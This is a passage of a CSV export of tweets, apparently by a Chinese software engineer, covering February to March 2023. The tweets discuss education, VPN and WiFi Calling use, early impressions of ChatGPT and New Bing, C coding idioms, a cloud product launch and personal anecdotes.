我觉得没问题,,https://twitter.com/haoel/status/1630921672839790593\n621,1630914377921732608,2023-03-01 12:54:23+00:00,1712,160,320,,刚跟我一青岛朋友通话，朋友孩子上高一了，必须住在学校，不准带手机和任何的电子设备，每个人发一个电话卡，只能在坐机上打电话，全天候接受学校的统一管理，说全青岛的高中都这样……现在对下一代真狠，把学校变成劳改监狱，把孩子的青春献祭给了考分……我跟我孩子说，我是不会让你上这种学校的……,,https://twitter.com/haoel/status/1630914377921732608\n622,1630814301354360833,2023-03-01 06:16:43+00:00,111,10,8,,\"Software Engineer Evolution \n\nCoding Engineer  -&gt; YAML Engineer  -&gt; Prompt Engineer\",,https://twitter.com/haoel/status/1630814301354360833\n623,1630813598657429507,2023-03-01 06:13:55+00:00,0,0,0,,@f84682b2fe4 哈哈，打错了,,https://twitter.com/haoel/status/1630813598657429507\n624,1630797257359630337,2023-03-01 05:08:59+00:00,54,0,0,,@disksing 可以收围观费了,,https://twitter.com/haoel/status/1630797257359630337\n625,1630793780285820929,2023-03-01 04:55:10+00:00,882,89,62,,今天上午到中日友好医院，在住院部乘座电梯的时候，听到两个可能是从手术室（穿手术服）里出来的医生的对话，没听全，只听一个医生说，“……支架居然可以这么搞，平生第一次见……”，另一个医生说，“是啊，帝国主义还是有很多东西要学习的，我们跟他们差距还很大……”,,https://twitter.com/haoel/status/1630793780285820929\n626,1630598614992158720,2023-02-28 15:59:39+00:00,86,6,11,,\"用strlen判断字符串为空\n应该是受了其它语言的影响\n真正C世界的传统是：\nif (pStr &amp;&amp; *pStr)  { ... }\",,https://twitter.com/haoel/status/1630598614992158720\n627,1630597761421959168,2023-02-28 15:56:16+00:00,88,1,8,,\"@liumengxinfly 用strlen是高级语言用多了吧\n真正的C程序员从来不用strlen()\nC世界的传统是——\nif (pStr &amp;&amp; *pStr)  { ... }\",,https://twitter.com/haoel/status/1630597761421959168\n628,1630459427265613824,2023-02-28 06:46:34+00:00,1,0,0,,@nishuang 终于……🎉,,https://twitter.com/haoel/status/1630459427265613824\n629,1630458907553583104,2023-02-28 06:44:30+00:00,0,0,0,,@LarryWang_1 如果是这些小应用的话，做成docker镜像的话会非常容易迁移……,,https://twitter.com/haoel/status/1630458907553583104\n630,1630419770163232768,2023-02-28 04:08:59+00:00,4,0,1,,@LarryWang_1 谢谢反馈，跨云迁移可以试一下各个service 的“克隆”功能……说明一下，跨云不是我们产品的主要目的，只是一个选项或副产品。通过自建让用户在低成本的基础上有云一样的体验，并屏蔽Cloud Native技术门槛（如：k8s/service mesh）是主要目的……另外，谢谢试用和反馈……,,https://twitter.com/haoel/status/1630419770163232768\n631,1630021392174575616,2023-02-27 01:45:58+00:00,8,0,1,,@DashHuang 你这是变相炫富……,,https://twitter.com/haoel/status/1630021392174575616\n632,1629840738140954625,2023-02-26 13:48:07+00:00,1,0,1,,@tinyfool 还是网上开个服务器，硬件低了一个维度，不折腾了,,https://twitter.com/haoel/status/1629840738140954625\n633,1629839568039202816,2023-02-26 13:43:28+00:00,0,0,2,,@tinyfool 我是老的macbook pro 非m1/m2,,https://twitter.com/haoel/status/1629839568039202816\n634,1629803624300969984,2023-02-26 11:20:38+00:00,1,0,0,,@VictorNanka69 多谢提醒,,https://twitter.com/haoel/status/1629803624300969984\n635,1629800569400610817,2023-02-26 11:08:30+00:00,1,0,9,,@franklinHaHaHa N卡能快到什么程度？,,https://twitter.com/haoel/status/1629800569400610817\n636,1629799166468816898,2023-02-26 11:02:56+00:00,16,1,2,,再来几张赛博朋克的 #cyberpunk https://t.co/OoAnFjYk9X,,https://twitter.com/haoel/status/1629799166468816898\n637,1629796933945401350,2023-02-26 10:54:03+00:00,382,52,35,,试着在 MacBook Pro 上用 Stable Diffusion 生成了几张 Tomb Raider 加上点 Cyberpunk 和 Mad Max 风格的图，太慢了，一张图要8分钟左右，整个机器都卡的不行……不过图还不错…… #tombraider #stablediffusion https://t.co/OyQ6gHXYbE,,https://twitter.com/haoel/status/1629796933945401350\n638,1629462692590399495,2023-02-25 12:45:54+00:00,465,81,50,,看到有这样的认知，我就放心了，未来10年我不用努力也不会被淘汰了……😜,,https://twitter.com/haoel/status/1629462692590399495\n639,1628575746003464192,2023-02-23 02:01:29+00:00,0,0,2,,@shell909090 @tindingtin 实体卡也要WiFi Calling 啊，不然得多贵啊,,https://twitter.com/haoel/status/1628575746003464192\n640,1628573305862234118,2023-02-23 01:51:48+00:00,35,0,7,,2002年，初到北京，住地安门的大杂院，每天吃完晚饭都要绕石刹海一圈，都会路过何勇《钟鼓楼》里那“望不清那西山”的不起眼的“银锭桥”，那时候的后海安安静静，平平淡淡，真令人怀念……,,https://twitter.com/haoel/status/1628573305862234118\n641,1628360163676807169,2023-02-22 11:44:51+00:00,9,0,0,,@fujohnwang 非不能也，是不为也,,https://twitter.com/haoel/status/1628360163676807169\n642,1628265665303023616,2023-02-22 05:29:20+00:00,256,34,18,,补充说明一下，VPN 是为了网络通，WiFi Calling 是为了跨区认证时，需要使用海外的手机号，并在国内进行国际漫游时免费接打电话和收发短信的玩法……,,https://twitter.com/haoel/status/1628265665303023616\n643,1628264092699074560,2023-02-22 05:23:06+00:00,3,0,2,,@ThaddeusJiang @godruoyi 他就没想明白我这里面讲的东西是什么意思？我是让你去掌握钱钟书怎么写出好文章的技能……,,https://twitter.com/haoel/status/1628264092699074560\n644,1628233661693984768,2023-02-22 03:22:10+00:00,5,0,1,,@likev 不错不错，你是这个推文里的另外一个的“例子”……,,https://twitter.com/haoel/status/1628233661693984768\n645,1628233176752721921,2023-02-22 03:20:15+00:00,25,4,2,,@zjn131452 嗯，Ultra Mobile的橙卡,,https://twitter.com/haoel/status/1628233176752721921\n646,1628073105775271936,2023-02-21 16:44:11+00:00,7,0,1,,看看大神的,,https://twitter.com/haoel/status/1628073105775271936\n647,1628067671412703232,2023-02-21 16:22:35+00:00,618,89,50,,这年头，作为墙内人士，你的手机上要是没有个 VPN 和 WiFi Calling 的标记，都不算是真正接入了互联网……😜 https://t.co/vwkikktlrI,,https://twitter.com/haoel/status/1628067671412703232\n648,1628064366422786049,2023-02-21 16:09:27+00:00,1,0,0,,@RebbecaRen @thepowerpeng 其实我的官网上都有——低成本不被厂商锁定，但是我没有细说，也没有给案例，所以，大多数人其实是没这个推断能力的……😂,,https://twitter.com/haoel/status/1628064366422786049\n649,1628063731719770113,2023-02-21 16:06:56+00:00,2382,438,72,,一个人能力的大小，其实很多时候就是你想不想到“源头”去的欲望！举个例子，当你想注册个需要海外手机号的应用时，如果你放弃了，那你就永远会被困住；如果你知道在淘宝上可以买到海外的手机号，那么你有“找路”的能力；但如果你知道开淘宝店的那些人是怎么做到的？那么你就有了“造路”的能力……,,https://twitter.com/haoel/status/1628063731719770113\n650,1628060669437427714,2023-02-21 15:54:46+00:00,1,0,1,,@thepowerpeng @RebbecaRen 那是因为我还没开始说……😜,,https://twitter.com/haoel/status/1628060669437427714\n651,1628012979772878853,2023-02-21 12:45:16+00:00,0,0,1,,@spongecaptain19 那你的经历比我丰富,,https://twitter.com/haoel/status/1628012979772878853\n652,1627972472082681856,2023-02-21 10:04:18+00:00,2,0,1,,@silosrcn 干干净净，真好,,https://twitter.com/haoel/status/1627972472082681856\n653,1627972351815196672,2023-02-21 10:03:49+00:00,0,0,1,,@spongecaptain19 咱们是不是同龄人啊？,,https://twitter.com/haoel/status/1627972351815196672\n654,1627962128840953858,2023-02-21 09:23:12+00:00,1,0,2,,@lidangzzz 现在好像已经到Java19了,,https://twitter.com/haoel/status/1627962128840953858\n655,1627960122252361728,2023-02-21 09:15:13+00:00,107,10,28,,\"Basic - 1992\nPascal - 1994\nC - 1995\nx86 asm - 1995\nPowerbuilder, Delphi - 1997\nJava 1/html/js - 1998\nPHP 3 - 1999\nC++ - 2001\nJava 2/ J2EE -2002\nShell, Perl - 2004\n.NET, C# - 2005\nPython - 2012\nGroovy - 2012\nGo - 2013\niOS Object C - 2014\nLua - 2014\nES6/React.js - 2017\nRust - 2020\",,https://twitter.com/haoel/status/1627960122252361728\n656,1627923688770383872,2023-02-21 06:50:27+00:00,0,0,0,,@yetone 收费吧,,https://twitter.com/haoel/status/1627923688770383872\n657,1627922171829026816,2023-02-21 06:44:25+00:00,14,0,3,,@laixintao 这一餐在北京没有60元下不来。,,https://twitter.com/haoel/status/1627922171829026816\n658,1627910196629733377,2023-02-21 05:56:50+00:00,1,0,0,,@lgt945 哈哈哈，you got my day^,,https://twitter.com/haoel/status/1627910196629733377\n659,1627908026769485827,2023-02-21 05:48:13+00:00,138,4,7,,@qdzz777 你太年轻了，微信号被封不叫铁拳，我告诉你一下我母亲的铁拳，1）自然灾害，2）文革不上不了大学，3）下乡抽队吃猪食，4）工人下岗……这些才是真铁拳……,,https://twitter.com/haoel/status/1627908026769485827\n660,1627907060460556288,2023-02-21 05:44:22+00:00,3,0,4,,@tinyfool 我看看我妈是转发了个啥……,,https://twitter.com/haoel/status/1627907060460556288\n661,1627906082713767937,2023-02-21 05:40:29+00:00,1,1,1,,@RebbecaRen 我也很开心跟你聊天！,,https://twitter.com/haoel/status/1627906082713767937\n662,1627905391114989568,2023-02-21 05:37:44+00:00,153,8,50,,我70多岁每天都坚持给我转发各种养生常识的老母亲，不知道发了什么内容，她的微信被封了一天……我母亲从来不谈政治，而我跟我爸一谈政治或时事时，她就要来阻止我们的人，实在不知道为什么被封了……难道是我母亲藏得很深，蒙骗了我这么多年……😂😂😂 https://t.co/zkN78RzSST,,https://twitter.com/haoel/status/1627905391114989568\n663,1627892524747722752,2023-02-21 04:46:37+00:00,5,0,2,,抓到一个黄牛……😂😜,,https://twitter.com/haoel/status/1627892524747722752\n664,1627887492002357248,2023-02-21 04:26:37+00:00,130,4,87,,New Bing 的 Waitlist 呆了好长时间了，我感觉微软是用 new bing 来骗人们开通 hotmail，毕竟现在除了像我这样的老年人还在用 hotmail ，不会有人在用这个古董货了……,,https://twitter.com/haoel/status/1627887492002357248\n665,1627656861305675779,2023-02-20 13:10:10+00:00,163,14,13,,\"今天晚上，我们的一个同学分享了JavaScript 的 Symbol, Property Flag, Proxy 和 Reflect…… 看来，JavaScript 有三种代码，一个是业务逻辑代码，一个是控制逻辑代码，还有一个是语言自身的补丁代码……\",,https://twitter.com/haoel/status/1627656861305675779\n666,1627653175946915845,2023-02-20 12:55:32+00:00,0,0,0,,@retawL @songma 是的,,https://twitter.com/haoel/status/1627653175946915845\n667,1627599723627704320,2023-02-20 09:23:08+00:00,26,1,1,,\"@songma ChatGPT优化版：The nucleic acid test was conducted here in 2022, and it consisted of eight lines extending all the way up to this pillar. This historical event is significant and calls for us to reflect deeply on its underlying causes.\",,https://twitter.com/haoel/status/1627599723627704320\n668,1627504580581015553,2023-02-20 03:05:04+00:00,57,3,3,,Nice ! 😊,,https://twitter.com/haoel/status/1627504580581015553\n669,1627283176895938560,2023-02-19 12:25:17+00:00,28,2,2,,@ChiangMaiGreat 那就Rust走起,,https://twitter.com/haoel/status/1627283176895938560\n670,1627282488983965697,2023-02-19 12:22:33+00:00,1,0,1,,@yetone 我没有说你的意思，我就是说我一直在用浏览器的插件……,,https://twitter.com/haoel/status/1627282488983965697\n671,1627241536231731200,2023-02-19 09:39:49+00:00,22,3,16,,第二个视频里口音明显是我大昆明呢“马普”……👍👍,,https://twitter.com/haoel/status/1627241536231731200\n672,1627162562113724416,2023-02-19 04:26:00+00:00,70,17,5,,@yetone 我一直在用官方 chrome 插件 https://t.co/3caLohZzex,\"[TextLink(text='deepl.com/en/chrome-exte…', url='https://www.deepl.com/en/chrome-extension', tcourl='https://t.co/3caLohZzex', indices=(26, 49))]\",https://twitter.com/haoel/status/1627162562113724416\n673,1626800380632784897,2023-02-18 04:26:49+00:00,51,0,2,,@tinyfool 坐实境外反华势力,,https://twitter.com/haoel/status/1626800380632784897\n674,1626753867546513408,2023-02-18 01:22:00+00:00,0,0,0,,@kevinzhow https://t.co/n71fKF7vLO,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1560197021155205121', tcourl='https://t.co/n71fKF7vLO', indices=(11, 34))]\",https://twitter.com/haoel/status/1626753867546513408\n675,1626750953365073920,2023-02-18 01:10:25+00:00,14,1,1,,@kevinzhow 对了，我们有个telegram 机器人，后面绑了Google OCR 和 AWS 的翻译，你可以测试一下 https://t.co/byotiyZczD,\"[TextLink(text='t.me/+9NVypHszklJhN…', url='https://t.me/+9NVypHszklJhNWM1', tcourl='https://t.co/byotiyZczD', indices=(64, 87))]\",https://twitter.com/haoel/status/1626750953365073920\n676,1626634749908492288,2023-02-17 17:28:40+00:00,26,1,3,,@kevinzhow 实测下来 Google 的 OCR API 相当牛……当然，Google Translate ……,,https://twitter.com/haoel/status/1626634749908492288\n677,1626500163157233665,2023-02-17 08:33:52+00:00,2,0,0,,@dedeziyu 你用 cloudflare tunnel 方案把你私网到公网的 ssh 配通就可以用我们的控制台了， cloudflare 这个功能应该是免费的。,,https://twitter.com/haoel/status/1626500163157233665\n678,1626483639944105990,2023-02-17 07:28:13+00:00,0,0,0,,@veoxft 你就先免费用吧，我们目前没有收费方案，你可以给点建议。,,https://twitter.com/haoel/status/1626483639944105990\n679,1626483285282164738,2023-02-17 07:26:48+00:00,1,0,0,,@LarryWang_1 你放心，如果你用我们的产品，成为我们的种子用户的话，我们可以给你非常便宜的折扣，基础一直免费,,https://twitter.com/haoel/status/1626483285282164738\n680,1626474491315650561,2023-02-17 06:51:51+00:00,0,0,0,,@genffy @dalang 这个其实是有的，没有开放出来，因为我自己都嫌复杂不想用，权限系统会复杂化我们的设计，在没有想到一个简化的方案前，这个功能先隐藏了，我们还是跟随着互联网上的其它的 SaaS 化的产品走。目前，Workaround 的就是开多个租户，不同的部门在不同的租户下，然后一个用户可以在多个租户下……,,https://twitter.com/haoel/status/1626474491315650561\n681,1626470809190682624,2023-02-17 06:37:13+00:00,0,0,1,,@LarryWang_1 现在是免费使用期，后面无论怎么收费都一定会大大低于现在的云服务费,,https://twitter.com/haoel/status/1626470809190682624\n682,1626469773629624322,2023-02-17 06:33:07+00:00,0,0,1,,@genffy @dalang 是个用户的权限系统？,,https://twitter.com/haoel/status/1626469773629624322\n683,1626466160245096449,2023-02-17 06:18:45+00:00,0,0,0,,@dedeziyu 一定需要一个公网可 ssh 的接入点,,https://twitter.com/haoel/status/1626466160245096449\n684,1626465948688584706,2023-02-17 06:17:55+00:00,0,0,1,,@genffy 对不起，我可能理解错了，现在我们的抽象是，一个用户可以加入到多个租户中……,,https://twitter.com/haoel/status/1626465948688584706\n685,1626453872553390080,2023-02-17 05:29:55+00:00,0,0,1,,@genffy 这个要更往后了，目前的重点的帮用户省钱……,,https://twitter.com/haoel/status/1626453872553390080\n686,1626449855043489792,2023-02-17 05:13:58+00:00,71,11,11,,欢迎大家试用 MegaEase Cloud，中文版的介绍文档在这里：https://t.co/70rsjoMBwO,\"[TextLink(text='mp.weixin.qq.com/s/PPOoQ61lR9k1…', url='https://mp.weixin.qq.com/s/PPOoQ61lR9k1l9ua9yyJfg', tcourl='https://t.co/70rsjoMBwO', indices=(34, 57))]\",https://twitter.com/haoel/status/1626449855043489792\n687,1626384412572274688,2023-02-17 00:53:55+00:00,109,5,19,,@GKBlackHole 你的意思是，中国注重Artificially ，欧美注重Intelligence ?,,https://twitter.com/haoel/status/1626384412572274688\n688,1626380277999370241,2023-02-17 00:37:29+00:00,203,11,18,,@madawei2699 我在亚马逊的时候，为了要在日本区加两个字段，加了近十个月才完成……因为这导致每个站点的差异化，于是最后进行了至少5个底层平台的全面重构，升级了一套全新的扩展性极强的设计，导致了至少50个团队的跟着一起变更…… （那天我才明白Amazon的领导力准则坚持高标准的意思),,https://twitter.com/haoel/status/1626380277999370241\n689,1626251537482924032,2023-02-16 16:05:55+00:00,2669,384,65,,无法辩驳……😂 https://t.co/atuauwxc98,,https://twitter.com/haoel/status/1626251537482924032\n690,1626172916923764737,2023-02-16 10:53:30+00:00,1,0,0,,@WallaceChou1 人家的 write 也才刚刚 release，你肯定不常用,,https://twitter.com/haoel/status/1626172916923764737\n691,1626172532817793025,2023-02-16 10:51:59+00:00,0,0,1,,@WallaceChou1 这里从来没有说是翻译,,https://twitter.com/haoel/status/1626172532817793025\n692,1626172467457970176,2023-02-16 10:51:43+00:00,0,0,0,,@liuya1997 中文感觉还是有点唠叨,,https://twitter.com/haoel/status/1626172467457970176\n693,1626126428348751872,2023-02-16 07:48:47+00:00,3,0,0,,@jackzhhuang 无论怎么样，现在都不值了，直接付费 ChatGPT 吧,,https://twitter.com/haoel/status/1626126428348751872\n694,1626123416087715840,2023-02-16 07:36:48+00:00,38,1,2,,s/做化/优化/g,,https://twitter.com/haoel/status/1626123416087715840\n695,1626122486537654273,2023-02-16 07:33:07+00:00,827,123,50,,今天想写个英文的商业合作邮件，在Grammarly和DeepL Write加持下写了一封，然后我把邮件放到ChatGPT里做化，结果让我惊着了，他帮我调整了语句顺序，用更简洁，更通畅的方式表达出来，居然还让我的邮件变得更打动人了……让我感到最先被干死的会是DeepL之类的产品，因为完全不在一个维度，无法竞争……,,https://twitter.com/haoel/status/1626122486537654273\n696,1626060228403040264,2023-02-16 03:25:43+00:00,3,0,0,,@mikefei4 这是靠谱的做法,,https://twitter.com/haoel/status/1626060228403040264\n697,1626058948989288448,2023-02-16 03:20:38+00:00,7,0,1,,@eatgrass 是的，这就是我说的，本质上就是教育上的问题,,https://twitter.com/haoel/status/1626058948989288448\n698,1626058721905508352,2023-02-16 03:19:44+00:00,0,0,1,,@shell909090 这样的说的话，无论你怎么干，都可以找到一个不行的反例……,,https://twitter.com/haoel/status/1626058721905508352\n699,1626052967735648256,2023-02-16 02:56:52+00:00,10,0,0,,@sysosMe 这个不是工具的问题，是能力的问题,,https://twitter.com/haoel/status/1626052967735648256\n700,1626052213503311873,2023-02-16 02:53:52+00:00,46,6,6,,补充一下，在做需求分析前是需要对方支持一定比例，或是固定数额的订金的，跟买房一样。,,https://twitter.com/haoel/status/1626052213503311873\n701,1626050907610976259,2023-02-16 02:48:41+00:00,1537,352,50,,很多程序员都会接一些外包项目，但是，他们其实并不知道如何运作一个商业项目，甚至都不知道怎么做需求分析和项目管理，更不知道怎么谈商务了……这跟他们写代码一样，需求没搞清楚，设计都没做，就开始上手写代码了，所以，出现纠纷和被白嫖是必然的，在群里写了一段话，供参考…… https://t.co/c0JshN1Pbr,,https://twitter.com/haoel/status/1626050907610976259\n702,1625811162012225537,2023-02-15 10:56:01+00:00,7,0,1,,@ghosTM55 @kevinzhow 带个帽子蒙个嘴，怎么证明这个人就是你？,,https://twitter.com/haoel/status/1625811162012225537\n703,1625769624171323392,2023-02-15 08:10:58+00:00,4,0,2,,@JunLoveToLearn 原因有很多，但不能都怪政治，我觉得老师的主观原因也也占比很大的……,,https://twitter.com/haoel/status/1625769624171323392\n704,1625765317548048384,2023-02-15 07:53:51+00:00,19,0,2,,@JunLoveToLearn 我说的是整体，不是个体,,https://twitter.com/haoel/status/1625765317548048384\n705,1625753508636139520,2023-02-15 07:06:56+00:00,1437,142,143,,谈谈教育，我是211大学的，但我并不觉得我受到良好的教育，一方面是知识，我觉得中国的大学教育输在教材和老师，另一个是领导力，比如：价值，组织，沟通，创新，简化，批判性思维……完全没有。所以，很容易被社会染了，不过好在进到外企，外企给了我很多好的培训，不然，真不好说我会成啥样……,,https://twitter.com/haoel/status/1625753508636139520\n706,1625750651220393985,2023-02-15 06:55:34+00:00,1,0,1,,@EL518067 @plantegg 但是，你要是有机会，最好还是要去获得更好的教育,,https://twitter.com/haoel/status/1625750651220393985\n707,1625749361316728833,2023-02-15 06:50:27+00:00,2,0,1,,@EL518067 @plantegg 这里说的是普遍概率，不是特例……,,https://twitter.com/haoel/status/1625749361316728833\n708,1625749219192733696,2023-02-15 06:49:53+00:00,9,0,0,,@ak79092131 @plantegg 反例肯定有，还不少，但是，这里明显说的是概率……,,https://twitter.com/haoel/status/1625749219192733696\n709,1625734310946021383,2023-02-15 05:50:39+00:00,104,6,28,,@plantegg 对我个人而言，我以前是跟你一样的理想，但是当接触过足够多的人后，你会发现，受过良好教育的人跟没有受过良好教育的人有非常非常大的差别……我有个3万多人的telegram的程序员的群，他们聊的一些东西是比较突破我的认知的，我只能把之归究于没有受过良好的教育……,,https://twitter.com/haoel/status/1625734310946021383\n710,1625158277075193857,2023-02-13 15:41:41+00:00,0,0,0,,@lwymftw 不客气,,https://twitter.com/haoel/status/1625158277075193857\n711,1625123004324712450,2023-02-13 13:21:32+00:00,464,46,130,,ChatGPT 就是一个语言模型，如果不给他足够的数据和信息，它基本就是在胡编乱造，跟“胡编”有一拼…… https://t.co/NCkS97853y,,https://twitter.com/haoel/status/1625123004324712450\n712,1625117664896229377,2023-02-13 13:00:19+00:00,865,175,34,,\"今天试了好几张美帝的银行卡，信用卡，借记卡，都没有支付成功，后来才想起来，ChatGPT支付网关用的是stripe，估计是触发了 stripe 的风控，于是关掉Chrome的防隐私的 Gostery 插件，并添加规则 DOMAIN-SUFFIX, https://t.co/lqRqoSE7Va, Proxy，然后就好了…… https://t.co/DFlQvW0zhU\",\"[TextLink(text='stripe.com', url='http://stripe.com', tcourl='https://t.co/lqRqoSE7Va', indices=(124, 147))]\",https://twitter.com/haoel/status/1625117664896229377\n713,1624699708110409731,2023-02-12 09:19:30+00:00,0,0,1,,@ghosTM55 我现在的FIFA你估计不是对手了，哈哈,,https://twitter.com/haoel/status/1624699708110409731\n714,1624698095610241025,2023-02-12 09:13:06+00:00,121,8,31,,这两天好像流行晒游戏版单，应该很主流吧……我玩的最长的游戏就是两个，一个是古墓丽影，一个是FIFA，玩了有24年了……青春全在街机：街霸，雷电，三国志……以及Dos/Win95平台上的游戏：三国志V，魔法门英雄无敌，帝国时代，红色警报等……最爽的还是：极品飞车9最高通缉，与警察斗真的很爽，哈哈 https://t.co/zETRWKzSxP,,https://twitter.com/haoel/status/1624698095610241025\n715,1624668167137280002,2023-02-12 07:14:10+00:00,0,0,0,,@chinatian6 多谢,,https://twitter.com/haoel/status/1624668167137280002\n716,1624656083846582272,2023-02-12 06:26:09+00:00,2,0,0,,@kevinzhow @songma 我看你是通过了，两个标志：1）搜索框下要有chat选项，2）Edge浏览器上要有chat按钮,,https://twitter.com/haoel/status/1624656083846582272\n717,1624620101025828866,2023-02-12 04:03:10+00:00,46,2,11,,我个是非常期待微软发布会里演示的 OpenAI 为 Bing + Edge 定制化的基于搜索引擎的 ChatGPT 功能，相当期待…… @Microsoft @bing 你们千万不要让我失望…… https://t.co/dTUCZKcxOP,,https://twitter.com/haoel/status/1624620101025828866\n718,1624618326080253953,2023-02-12 03:56:07+00:00,32,0,1,,@songma 其实还没有……我在wishlist好几天了,,https://twitter.com/haoel/status/1624618326080253953\n719,1624482293778874368,2023-02-11 18:55:34+00:00,0,0,0,,@chinatian6 怎么处理的？,,https://twitter.com/haoel/status/1624482293778874368\n720,1624456859892731904,2023-02-11 17:14:31+00:00,0,0,0,,@FE_DDD @hexin0922 几个朋友拼的,,https://twitter.com/haoel/status/1624456859892731904\n721,1624455572828602370,2023-02-11 17:09:24+00:00,2,0,1,,@nscutecat @lln133208 @martinho0330 我是前年花的650元钱买了三年，过了半年后就被微软取消了，然后加了QQ群，大家都在QQ群里让商家退款，而我则是让那个商家又重新给我续上了……我给你商品链接和我的经历，但不保证没有风险或是你会跟我有一样的经历，但我主观感觉商家还挺负责 https://t.co/EUXE8eGGBm,\"[TextLink(text='m.tb.cn/h.UMreb7h?tk=W…', url='https://m.tb.cn/h.UMreb7h?tk=Wi9KdhTiZgM', tcourl='https://t.co/EUXE8eGGBm', indices=(153, 176))]\",https://twitter.com/haoel/status/1624455572828602370\n722,1624450920783425536,2023-02-11 16:50:55+00:00,396,113,24,,这几天好些人来问我对 ChatGPT 的看法，正好周末有时间，写了这篇关于 ChatGPT 的文章。这篇文章主要是讨论了一下，基于“内容生成套路”，而不是基于正确和有价值的内容的ChatGPT，和基于正确和有价值，但不生成内容的搜索引擎连姻，会产生出什么样的化学反应？欢迎大家讨论……https://t.co/wzBtfgT0me,\"[TextLink(text='coolshell.cn/articles/22398…', url='https://coolshell.cn/articles/22398.html', tcourl='https://t.co/wzBtfgT0me', indices=(142, 165))]\",https://twitter.com/haoel/status/1624450920783425536\n723,1624309444208377856,2023-02-11 07:28:44+00:00,0,0,1,,@martinho0330 淘宝,,https://twitter.com/haoel/status/1624309444208377856\n724,1624309333642338306,2023-02-11 07:28:18+00:00,2,0,0,,@YanceyOfficial 主要线路好……,,https://twitter.com/haoel/status/1624309333642338306\n725,1624299855219937280,2023-02-11 06:50:38+00:00,0,0,0,,@mobikarl @kevinzhow Google到了,,https://twitter.com/haoel/status/1624299855219937280\n726,1624299237638045696,2023-02-11 06:48:10+00:00,2,0,2,,@kevinzhow 大触是啥意思？,,https://twitter.com/haoel/status/1624299237638045696\n727,1624298623696793600,2023-02-11 06:45:44+00:00,10,0,2,,@evilcos @the_x2y2 @SlowMist_Team 无论域名是叫 x2x2 还是x2y2，我都不觉得是好人……😜,,https://twitter.com/haoel/status/1624298623696793600\n728,1624289166082342912,2023-02-11 06:08:09+00:00,2,0,0,,@Johe5613999 iPad Pro,,https://twitter.com/haoel/status/1624289166082342912\n729,1624280882097041408,2023-02-11 05:35:14+00:00,10,0,0,,@greg_corelone 初一,,https://twitter.com/haoel/status/1624280882097041408\n730,1624280149083713538,2023-02-11 05:32:19+00:00,7,0,1,,@alanna7me 近视，OK镜控制中……,,https://twitter.com/haoel/status/1624280149083713538\n731,1624278419197542400,2023-02-11 05:25:27+00:00,1022,37,70,,我家孩子最近喜欢玩原神，然后自创了一个角色，用 Procreate 手绘了一下，征得同意，晒到推上…… #GenshinImpact https://t.co/qmbD7F4h8t,,https://twitter.com/haoel/status/1624278419197542400\n732,1624276111084634112,2023-02-11 05:16:17+00:00,5,0,0,,@wilbeibi 是年费,,https://twitter.com/haoel/status/1624276111084634112\n733,1624274774909411328,2023-02-11 05:10:58+00:00,1,0,0,,@_hisriver 域名,,https://twitter.com/haoel/status/1624274774909411328\n734,1624269180920037377,2023-02-11 04:48:44+00:00,3,0,3,,@xiaoguo_ge 我这还是一年。方法是买印度的帐号，然后跟5个人一起拼车,,https://twitter.com/haoel/status/1624269180920037377\n735,1624268089079758848,2023-02-11 04:44:24+00:00,1,0,1,,@hexin0922 拼车,,https://twitter.com/haoel/status/1624268089079758848\n736,1624267120443027462,2023-02-11 04:40:33+00:00,24,1,6,,说明一下，这里面的费用有的是年费(如：Github/YouTube/Netflix)，有的是月费(如：iCloud)有的是五年费(如：GoDaddy)，这个App会帮你拉平成平均月费，并且支持多币种。,,https://twitter.com/haoel/status/1624267120443027462\n737,1624264788816846848,2023-02-11 04:31:17+00:00,1,0,0,,@sep_lover 是服务器，是一年,,https://twitter.com/haoel/status/1624264788816846848\n738,1624263801678991360,2023-02-11 04:27:22+00:00,1,0,2,,@boooommmm123 这就是合租，一个月20+,,https://twitter.com/haoel/status/1624263801678991360\n739,1624262501847416832,2023-02-11 04:22:12+00:00,11,0,0,,@imbytecat 认真阅读，不要开小差,,https://twitter.com/haoel/status/1624262501847416832\n740,1624261837020880896,2023-02-11 04:19:33+00:00,338,28,39,,统计了一下我的数字化订阅，没想平均一个月要开销近2000元😓……注：有一是拼车，如Office/Disney+，有些是淘宝店上买的，如XBox，但大量的是官方订阅（PS，App用的是：Billbot） https://t.co/LoNj02fKQA,,https://twitter.com/haoel/status/1624261837020880896\n741,1624252298909323266,2023-02-11 03:41:39+00:00,39,2,9,,@janlay 我是你的十倍😓 （App是：Billbot） https://t.co/rrQ1SkhDZo,,https://twitter.com/haoel/status/1624252298909323266\n742,1624090978536816640,2023-02-10 17:00:38+00:00,1,0,0,,@hanrenwei 哎……,,https://twitter.com/haoel/status/1624090978536816640\n743,1624090383931281408,2023-02-10 16:58:16+00:00,4,0,0,,@nishuang 很有意思,,https://twitter.com/haoel/status/1624090383931281408\n744,1624059848001458177,2023-02-10 14:56:55+00:00,156,36,13,,这位大佬用三台TCL的电视，加上一台带高级显卡的电脑主机，自己动手加智能背光LED，室外摄像头，游戏赛车套件，木工活和3D打印做架子，和赛车坐椅，以及装饰Logo……看的我是马上上网搜片中的各种配件和工具，也想自己干一个……（Making a LIFE SIZE GAMING SIMULATOR https://t.co/NXdukuj7Xp ),\"[TextLink(text='youtu.be/-UT6v68fJY0', url='https://youtu.be/-UT6v68fJY0', tcourl='https://t.co/NXdukuj7Xp', indices=(149, 172))]\",https://twitter.com/haoel/status/1624059848001458177\n745,1623971057920245762,2023-02-10 09:04:06+00:00,250,21,18,,有人说未来会是 ChatGPT 的世界，可能吧，但至少目前不是，ChatGPT 聊点水天是不错，一旦进入专业领域，完全是错误百出……他能把 CRUD 或是一些 hello world 代码写的很好，干掉程序操作工人的“码农”是肯定没有问题的，但是要干掉专业的工程师，目前这样肯定是不行的， 连干掉StackOverflow都不行……,,https://twitter.com/haoel/status/1623971057920245762\n746,1623968768438472717,2023-02-10 08:55:00+00:00,50,4,3,,@denisewu18 会的，肯定取代码农，但不会取代工程师,,https://twitter.com/haoel/status/1623968768438472717\n747,1623957752052858880,2023-02-10 08:11:14+00:00,1245,215,94,,\"我们的面试一般都是要在线写代码的，应聘者可以在写代码的时候上网查资料，就跟平时工作一样，但我们要看整个查找的整个过程。可以观察到两种显著的结果：\n- Baidu/Bing/Google + 中文  ==&gt; CSDN\n- Google + 英文 ==&gt; StackOverflow\n不会“翻墙 + 英文搜索” 真是被死死地困在知识的井底……\",,https://twitter.com/haoel/status/1623957752052858880\n748,1623870289120739328,2023-02-10 02:23:41+00:00,0,0,1,,@chenyh15 有文档reference吗？,,https://twitter.com/haoel/status/1623870289120739328\n749,1623867113197953024,2023-02-10 